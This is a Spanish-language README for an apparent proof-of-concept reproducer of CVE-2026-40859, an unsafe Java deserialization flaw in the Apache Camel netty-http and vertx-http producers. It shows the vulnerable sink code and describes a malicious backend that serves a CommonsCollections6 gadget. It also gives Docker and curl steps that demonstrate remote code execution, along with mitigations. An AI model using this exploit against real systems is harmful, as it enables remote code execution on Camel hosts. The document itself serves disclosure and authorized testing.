
Reproductor para CVE-2026-40859 — Apache Camel camel-netty-http / camel-vertx-http deserialización insegura en el lado del productor de los cuerpos de respuesta HTTP (RCE)
Este proyecto demuestra una vulnerabilidad de deserialización de Java en los componentes camel-netty-http
y camel-vertx-http de Apache Camel, registrada como CVE-2026-40859. Cuando un endpoint productor está configurado
con transferException=true (o con allowJavaSerializedObject=true a nivel de componente), una respuesta HTTP
del backend con estado de error y Content-Type: application/x-java-serialized-object tiene su cuerpo
deserializado con un java.io.ObjectInputStream crudo y sin ObjectInputFilter. Un atacante que
controle el backend con el que habla el productor Camel — un servicio comprometido o un hombre en el medio en una
conexión HTTP sin cifrar — puede devolver un objeto serializado manipulado y, si hay una cadena de gadgets en el
classpath, lograr en el host de Camel.
| Propiedad | Valor |
|---|---|
| Componentes | camel-netty-http, camel-vertx-http (lado productor) |
| Clase afectada | org.apache.camel.component.netty.http.NettyHttpHelper#deserializeJavaObjectFromStream (y VertxHttpHelper#deserializeJavaObjectFromStream) |
| CWE | CWE-502: Deserialización de datos no confiables |
| Impacto | Ejecución remota de código (RCE) |
| Precondición | transferException=true (o allowJavaSerializedObject=true) + throwExceptionOnFailure=true (por defecto) + backend controlado por el atacante |
| Versiones afectadas | Desde 4.0.0 antes de 4.14.8, desde 4.15.0 antes de 4.18.3, desde 4.19.0 antes de 4.20.0 |
| Versiones corregidas | 4.14.8, 4.18.3, 4.20.0 |
| JIRA | CAMEL-23324 |
| Reportero | Venkatraman Kumar (Securin) |
No explotable en la configuración predeterminada —
transferExceptionpor defecto esfalse. El PoC lo habilita, como lo haría una aplicación que quiere propagación de excepciones remotas.
En una respuesta no-2xx, el productor netty-http (con throwExceptionOnFailure=true, el valor por defecto) construye
una excepción a partir de la respuesta mediante populateNettyHttpOperationFailedException. Si transferException está
activado y la respuesta lleva el tipo de contenido de objeto serializado, deserializa el cuerpo:
// NettyHttpHelper.populateNettyHttpOperationFailedException(...) - versión afectada
if (transferException) {
String contentType = response.headers().get(NettyHttpConstants.CONTENT_TYPE);
if (NettyHttpConstants.CONTENT_TYPE_JAVA_SERIALIZED_OBJECT.equals(contentType)) { // application/x-java-serialized-object
InputStream is = exchange.getContext().getTypeConverter().convertTo(InputStream.class, response);
if (is != null) {
Object body = deserializeJavaObjectFromStream(is); // <-- sink
if (body instanceof Exception) {
return (Exception) body;
}
}
}
}
// NettyHttpHelper.deserializeJavaObjectFromStream(InputStream) - versión afectada
ObjectInputStream ois = new ObjectInputStream(is); // SIN ObjectInputFilter
answer = ois.readObject(); // el gadget se dispara aquí
El gadget se ejecuta dentro de readObject(), antes de la comprobación instanceof Exception — por lo que el payload
ni siquiera tiene que ser una excepción. camel-vertx-http tiene el mismo sink en
VertxHttpHelper.deserializeJavaObjectFromStream.
from("direct:call")
.to("netty-http://backend-host:PORT/path?transferException=true");
// throwExceptionOnFailure por defecto es true
Cualquier llamada del productor cuyo backend responda 5xx + application/x-java-serialized-object dispara el sink.
La víctima es el productor Camel (realiza la deserialización). El atacante controla el
backend al que llama. En este PoC autocontenido, ambos roles se ejecutan en el mismo JVM/contenedor: un
servidor HTTP de socket crudo embebido (MaliciousBackend) hace de backend controlado por el atacante, y la ruta Camel
(VictimRoute) es la víctima.
CVE-2026-40859/
├── pom.xml # camel-netty-http 4.18.2 + commons-collections 3.2.1 (gadget)
├── Dockerfile # ejecuta la aplicación (con --add-opens, necesario solo para construir el gadget)
├── docker-compose.yml
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── VictimRoute.java # víctima: productor netty-http, transferException=true
│ ├── MaliciousBackend.java # backend atacante: 500 + cuerpo de objeto serializado en :9999
│ ├── Gadget.java # gadget CommonsCollections6, se dispara durante readObject()
│ └── ExploitController.java # /exploit/attack impulsa la llamada del productor
└── resources/
└── application.properties
En un ataque real, los bytes serializados se producen offline por el atacante (p. ej. con ysoserial); solo la víctima necesita la cadena de gadgets en su classpath. Este PoC construye el gadget en proceso por conveniencia, por eso el JVM se inicia con
--add-opens java.base/java.util=ALL-UNNAMED— ese flag es un detalle de construcción del gadget, no relacionado con la vulnerabilidad.
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
# -> el productor lanzó ...NettyHttpOperationFailedException (esperado)
#
# >>> Prueba de RCE — /tmp/pwned existe: true
docker exec cve-2026-40859 ls -la /tmp/pwned
docker compose down
Cualquier productor camel-netty-http / camel-vertx-http configurado con transferException=true (o
allowJavaSerializedObject=true) que hable con un backend que el atacante pueda controlar o interceptar:
http://) sustituye la respuesta.transferException=true (o allowJavaSerializedObject=true a nivel de componente).throwExceptionOnFailure=true (el valor por defecto).5xx + application/x-java-serialized-object.commons-collections:3.2.1).Actualice a 4.14.8 / 4.18.3 / 4.20.0. La corrección restringe ambos helpers con una lista de permisos
ObjectInputFilter predeterminada (java.**;javax.**;org.apache.camel.**;!*), personalizable mediante la nueva
opción de endpoint deserializationFilter o la propiedad de sistema JVM -Djdk.serialFilter.
Hasta actualizar:
transferException=true / allowJavaSerializedObject=true en productores que hablen con
backends no confiables o alcanzables por red.https) para las conexiones del productor para que las respuestas no puedan sustituirse en tránsito.-Djdk.serialFilter=java.**;org.apache.camel.**;!*.Este reproductor se proporciona solo para investigación de seguridad y pruebas autorizadas, para una vulnerabilidad divulgada públicamente y corregida. No lo use contra sistemas sin permiso explícito.